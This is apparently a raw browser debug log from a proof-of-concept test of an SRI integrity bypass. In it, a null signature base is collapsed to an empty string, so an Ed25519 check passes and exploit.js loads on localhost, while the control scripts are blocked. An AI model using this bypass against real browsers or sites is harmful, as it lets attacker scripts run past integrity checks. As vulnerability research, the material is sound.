[3119:3161:0402/155413.012113:ERROR:services/network/public/cpp/sri_message_signatures.cc:814] [SRI-POC] signature_base.size()=0 url=http://127.0.0.1:9876/exploit.js
[3119:3161:0402/155413.012402:ERROR:services/network/public/cpp/sri_message_signatures.cc:835] [SRI-POC] ED25519_verify(msg_len=0) -> 1 url=http://127.0.0.1:9876/exploit.js
[3119:3161:0402/155413.012439:ERROR:services/network/public/cpp/sri_message_signatures.cc:839] [SRI-POC] *** BYPASS *** Ed25519 signature verified over EMPTY base. ConstructSignatureBase returned nullopt but .value_or("") collapsed it. Validation should have FAILED per RFC 9421 sec. 2.5 -- instead it PASSES.
[3119:3161:0402/155413.022898:ERROR:services/network/public/cpp/sri_message_signatures.cc:814] [SRI-POC] signature_base.size()=199 url=http://127.0.0.1:9876/control.js
[3119:3161:0402/155413.023105:ERROR:services/network/public/cpp/sri_message_signatures.cc:835] [SRI-POC] ED25519_verify(msg_len=199) -> 0 url=http://127.0.0.1:9876/control.js
[3119:3161:0402/155413.028837:ERROR:services/network/public/cpp/sri_message_signatures.cc:814] [SRI-POC] signature_base.size()=0 url=http://127.0.0.1:9876/garbage.js
[3119:3161:0402/155413.028896:ERROR:services/network/public/cpp/sri_message_signatures.cc:835] [SRI-POC] ED25519_verify(msg_len=0) -> 0 url=http://127.0.0.1:9876/garbage.js
[3082:3082:0402/155413.072714:INFO:CONSOLE:5] "[EXPLOIT] script executed -- SRI ed25519 integrity bypassed", source: http://127.0.0.1:9876/exploit.js (5)
[3082:3082:0402/155413.154384:INFO:CONSOLE:11] "[exploit] loaded=true", source: http://127.0.0.1:9876/ (11)
[3082:3082:0402/155413.162770:INFO:CONSOLE:11] "[control] loaded=false", source: http://127.0.0.1:9876/ (11)
[3082:3082:0402/155413.163008:INFO:CONSOLE:11] "[garbage] loaded=false", source: http://127.0.0.1:9876/ (11)
[3082:3082:0402/155413.163151:INFO:CONSOLE:11] "=== VULNERABLE: empty-string signature bypassed SRI integrity check ===", source: http://127.0.0.1:9876/ (11)
[3082:3082:0402/155413.164588:INFO:CONSOLE:11] "  exploit.js  loaded=true  (expected: true  -- BYPASS)", source: http://127.0.0.1:9876/ (11)
[3082:3082:0402/155413.164779:INFO:CONSOLE:11] "  control.js  loaded=false  (expected: false -- same SIG_EMPTY, no absent-header trick)", source: http://127.0.0.1:9876/ (11)
[3082:3082:0402/155413.164973:INFO:CONSOLE:11] "  garbage.js  loaded=false  (expected: false -- random sig over empty base)", source: http://127.0.0.1:9876/ (11)